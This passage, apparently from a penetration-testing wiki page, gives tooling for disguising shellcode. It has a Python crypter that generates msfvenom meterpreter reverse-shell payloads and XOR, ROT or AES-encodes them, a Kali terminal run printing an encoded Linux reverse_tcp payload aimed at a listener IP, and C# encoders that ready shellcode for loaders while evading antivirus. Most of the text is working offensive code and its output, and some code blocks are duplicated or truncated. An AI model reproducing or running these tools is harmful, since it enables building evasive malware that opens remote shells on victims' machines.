    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
